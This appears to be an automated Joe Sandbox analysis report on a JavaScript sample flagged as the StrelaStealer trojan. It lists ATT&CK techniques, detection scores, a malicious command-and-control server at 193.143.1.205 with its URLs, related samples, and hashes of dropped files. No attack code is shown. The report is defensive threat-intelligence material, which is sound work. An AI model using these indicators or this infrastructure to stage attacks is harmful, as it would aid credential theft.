Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
91931239167124381.js	5%	Virustotal		Browse
91931239167124381.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3386914129.0000019DBAE00000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2143507298.0000019DBAC00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2146267121.000002D3B37A8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2142959752.000002D3B37FD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2146326834.000002D3B37D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2143895538.000002D3B37D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2146446307.000002D3B37FF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2146267121.000002D3B37A8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/s	net.exe, 00000007.00000002.2146326834.000002D3B37D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2143895538.000002D3B37D7000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588740
Start date and time:	2025-01-11 04:53:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	91931239167124381.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 3.233.129.217, 52.22.41.97, 52.6.155.20, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 4.175.87.197, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:54:16	API Interceptor	25x Sleep call for process: powershell.exe modified
22:54:20	API Interceptor	1x Sleep call for process: net.exe modified
22:54:20	API Interceptor	2x Sleep call for process: svchost.exe modified
22:54:33	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183751298714312883.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3414115772858819502.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307110513336317
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugC:gJjJGtpTq2yv1AuNZRY3diu8iBVqFI
MD5:	13316DAE46D792307E52D5AF103FDBB2
SHA1:	FD488D09A3C5FE25BD8A58EF6DC5B43E53645747
SHA-256:	CCF69BB43BF4AD7C152398AD071754C039BC98B5941F5AB080C8C08A9C818468
SHA-512:	91047A5C3B06FEA533F946E0BCD233B6765F36AA10C389F934664597E81F97A1B4D6C9C4B409E03F3AA2FB8729694F73567EF2B8DA64CB4B779C198CE459A5B5
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x648a6a52, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585388944475692
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	923BD0FCA6E9103530EE6790722299C3
SHA1:	FDAC624EA1A630A3526E12E963B07DBF7C1D95CF
SHA-256:	27D78DC8C6CCE499BB101F0280492BBF1B6C0BE29D6FF6723E19D0667C9BE34A
SHA-512:	FB47A42495E3FD534D62CD991F2498D328490D3151BA11A7EF0D1275327B37060CAE2BCDFDB9565F4B19ED2BA7B67FD77FB96CEE5C5207BB28CEF51AF000DA19
Malicious:	false
Preview:	d.jR... ...............X\...;...{......................0.z..........{...6...}3.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................DI...6...}3..................#...6...}3..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08119845817648716
Encrypted:	false
SSDEEP:	3:NKoS/yYeGpoVGuAJkhvekl1tgwK1ollrekGltll/SPj:YYzEGrxlR7Je3l
MD5:	54DD97CB6660BC994C6191CDED2C67A8
SHA1:	63C5E09F8B058C5B1F82F85AACB7B4FD3DC746D0
SHA-256:	38FE985A29FAF890BD26BB33CF179A419DE6EC11692F29F79F66F3930E263FC2
SHA-512:	6328E76808E11029DDCEEF9B57AA6544109224127C6FFA7C50519AECF9F89BBF4D2CBE47A9EDB27D1A4FF03E7688266096416086D12F9D02F65ACB4802289098
Malicious:	false
Preview:	../......................................;...{...6...}3......{...............{.......{...XL......{...................#...6...}3.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.158795979027498
Encrypted:	false
SSDEEP:	6:iO4qXYQjxQ+q2P92nKuAl9OmbnIFUtSqXYQJU6gZmwsqXYQSLQVkwO92nKuAl9Oe:7eQdQ+v4HAahFUt0QJxg/aQSLQV5LHAR
MD5:	D353E4C95F07D4BFDD281828E0CCF79D
SHA1:	BC804A00BB3ECD3B3044DB8234AAAAD196BFA115
SHA-256:	83A069A98F97EDEE7B52E936BD9D23C9C1228986F8EF3342776EDF53E3C5381E
SHA-512:	677932D85229C0613C751BACAFB025A48DBE318F80AB248EF91CEE46E2B23388A9DCF7F2A83839653AABED7E5914EB21E3485D192B8865228109E15EC5FAF207
Malicious:	false
Preview:	2025/01/10-22:54:20.164 15dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:54:20.166 15dc Recovering log #3.2025/01/10-22:54:20.167 15dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.158795979027498
Encrypted:	false
SSDEEP:	6:iO4qXYQjxQ+q2P92nKuAl9OmbnIFUtSqXYQJU6gZmwsqXYQSLQVkwO92nKuAl9Oe:7eQdQ+v4HAahFUt0QJxg/aQSLQV5LHAR
MD5:	D353E4C95F07D4BFDD281828E0CCF79D
SHA1:	BC804A00BB3ECD3B3044DB8234AAAAD196BFA115
SHA-256:	83A069A98F97EDEE7B52E936BD9D23C9C1228986F8EF3342776EDF53E3C5381E
SHA-512:	677932D85229C0613C751BACAFB025A48DBE318F80AB248EF91CEE46E2B23388A9DCF7F2A83839653AABED7E5914EB21E3485D192B8865228109E15EC5FAF207
Malicious:	false
Preview:	2025/01/10-22:54:20.164 15dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:54:20.166 15dc Recovering log #3.2025/01/10-22:54:20.167 15dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.10824199260443
Encrypted:	false
SSDEEP:	6:iO4qXYIzQ+q2P92nKuAl9Ombzo2jMGIFUtSqXYEFagZmwsqXY0QVkwO92nKuAl97:7e3+v4HAa8uFUt0sf/aBV5LHAa8RJ
MD5:	B26F2D5F59F98227CA6CB585570E0A48
SHA1:	16761DFAE12DC04CD4678FC15109C17F3C936AE7
SHA-256:	465F155957E052A6E36C76A4F4D0AC34168D63851450E90C91A11CD6FE566264
SHA-512:	E2A85C8AF90CA1AA17A08F17EA95FC381CFC7001C918FC36C0F68E389404C79CCC7B6ECC50BA2616326BDD6C43449CE0D165B1ACCB119B587F4A9F01303B7AB4
Malicious:	false
Preview:	2025/01/10-22:54:20.226 e4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:54:20.227 e4c Recovering log #3.2025/01/10-22:54:20.228 e4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.10824199260443
Encrypted:	false
SSDEEP:	6:iO4qXYIzQ+q2P92nKuAl9Ombzo2jMGIFUtSqXYEFagZmwsqXY0QVkwO92nKuAl97:7e3+v4HAa8uFUt0sf/aBV5LHAa8RJ
MD5:	B26F2D5F59F98227CA6CB585570E0A48
SHA1:	16761DFAE12DC04CD4678FC15109C17F3C936AE7
SHA-256:	465F155957E052A6E36C76A4F4D0AC34168D63851450E90C91A11CD6FE566264
SHA-512:	E2A85C8AF90CA1AA17A08F17EA95FC381CFC7001C918FC36C0F68E389404C79CCC7B6ECC50BA2616326BDD6C43449CE0D165B1ACCB119B587F4A9F01303B7AB4
Malicious:	false
Preview:	2025/01/10-22:54:20.226 e4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:54:20.227 e4c Recovering log #3.2025/01/10-22:54:20.228 e4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.049709465655063
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYr5xsBdOg2Hzcaq3QYiubxnP7E4T3OF+:Y2sRdsfr5idMHK3QYhbxP7nbI+
MD5:	9CE5ECD695DD35F629FA49D4E1EB3CED
SHA1:	7A8DB844953860300F89D96993B5C5D4A5D47825
SHA-256:	CC0486176FE96295A9C0BE6031AF0F7C8474C982A4889BE86E206974B5BCDCE7
SHA-512:	E42EA706504E3FE7D816B00B447FDF23FD04CD8F98FB4C3B9F5A06B8CA8E0639AD8809486FA717043AE7492860BD2A1FD111C7E2F0ADB1A8C477A26298274E43
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381127672972652","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133613},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\aa63d5bb-4e01-4167-ab12-3c1a2f21c629.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.049709465655063
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYr5xsBdOg2Hzcaq3QYiubxnP7E4T3OF+:Y2sRdsfr5idMHK3QYhbxP7nbI+
MD5:	9CE5ECD695DD35F629FA49D4E1EB3CED
SHA1:	7A8DB844953860300F89D96993B5C5D4A5D47825
SHA-256:	CC0486176FE96295A9C0BE6031AF0F7C8474C982A4889BE86E206974B5BCDCE7
SHA-512:	E42EA706504E3FE7D816B00B447FDF23FD04CD8F98FB4C3B9F5A06B8CA8E0639AD8809486FA717043AE7492860BD2A1FD111C7E2F0ADB1A8C477A26298274E43
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381127672972652","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133613},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.231686184223735
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUI5CpLhF:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL6
MD5:	8946528936C3505512130F4446C5A6B2
SHA1:	21079550270119E9A94043ED59B3ABC85CBA7C23
SHA-256:	86FE1EFACD4CD58BD67F8185CFA10F6887B1A529F761158D8694646638C2AD26
SHA-512:	6777CAFC59995A66DF39D3556429346FD7D119C96FAFF3DA3EF14C4F4E29B55B797374BB60D0C711C94AA8EE0676FB807F281B128C5853871EBE2173CD63F91D
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.138966664638211
Encrypted:	false
SSDEEP:	6:iO4qXYLwQ+q2P92nKuAl9OmbzNMxIFUtSqXYTgZmwsqXY+QVkwO92nKuAl9OmbzE:7eLN+v4HAa8jFUt0M/ajV5LHAa84J
MD5:	D7033D7E022D346B26B5BA8C9B79D2F8
SHA1:	072CFA9369661438A56F07BD6D2870AF1219C35D
SHA-256:	51E0B2C4B7B56F4B2763DAA41F73370548730EF7E4EC54197EDEA26D4B3BFA89
SHA-512:	7CF0959CE29FDE7C02E00986EAE1382E3C3300E558DE074036DF31BC0A2037605819B0DB910EDD55DFCCFB19E073D898612242E6B3AB8E167F8DBF6AD951803F
Malicious:	false
Preview:	2025/01/10-22:54:20.475 e4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:54:20.485 e4c Recovering log #3.2025/01/10-22:54:20.495 e4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.138966664638211
Encrypted:	false
SSDEEP:	6:iO4qXYLwQ+q2P92nKuAl9OmbzNMxIFUtSqXYTgZmwsqXY+QVkwO92nKuAl9OmbzE:7eLN+v4HAa8jFUt0M/ajV5LHAa84J
MD5:	D7033D7E022D346B26B5BA8C9B79D2F8
SHA1:	072CFA9369661438A56F07BD6D2870AF1219C35D
SHA-256:	51E0B2C4B7B56F4B2763DAA41F73370548730EF7E4EC54197EDEA26D4B3BFA89
SHA-512:	7CF0959CE29FDE7C02E00986EAE1382E3C3300E558DE074036DF31BC0A2037605819B0DB910EDD55DFCCFB19E073D898612242E6B3AB8E167F8DBF6AD951803F
Malicious:	false
Preview:	2025/01/10-22:54:20.475 e4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:54:20.485 e4c Recovering log #3.2025/01/10-22:54:20.495 e4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkllQFpstfllXlE/HT8krblJtNNX8RolJuRdxLlGB9lQRYwpDdt:kKzFpseT8iBRNMa8RdWBwRd
MD5:	C17BE0D85FACFB8818B6F778F99CD828
SHA1:	FD7EE5EF31F9A45B63412252D33B3E3658B19837
SHA-256:	E4B716B605732302F92E95B4B43B7A4A672C2160239DE0E7FA382CF8F904F485
SHA-512:	6E2E4B71D47476A0745094300C4C11F1053C471FB18428996564B30C3B60A2D9CA73DBD3E7B808D295FBBF10F423A0F45EECF3B0B1132B05E6B2DE875E99E8E3
Malicious:	false
Preview:	p...... .........,..c..(....................................................... ..........W.....\|..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
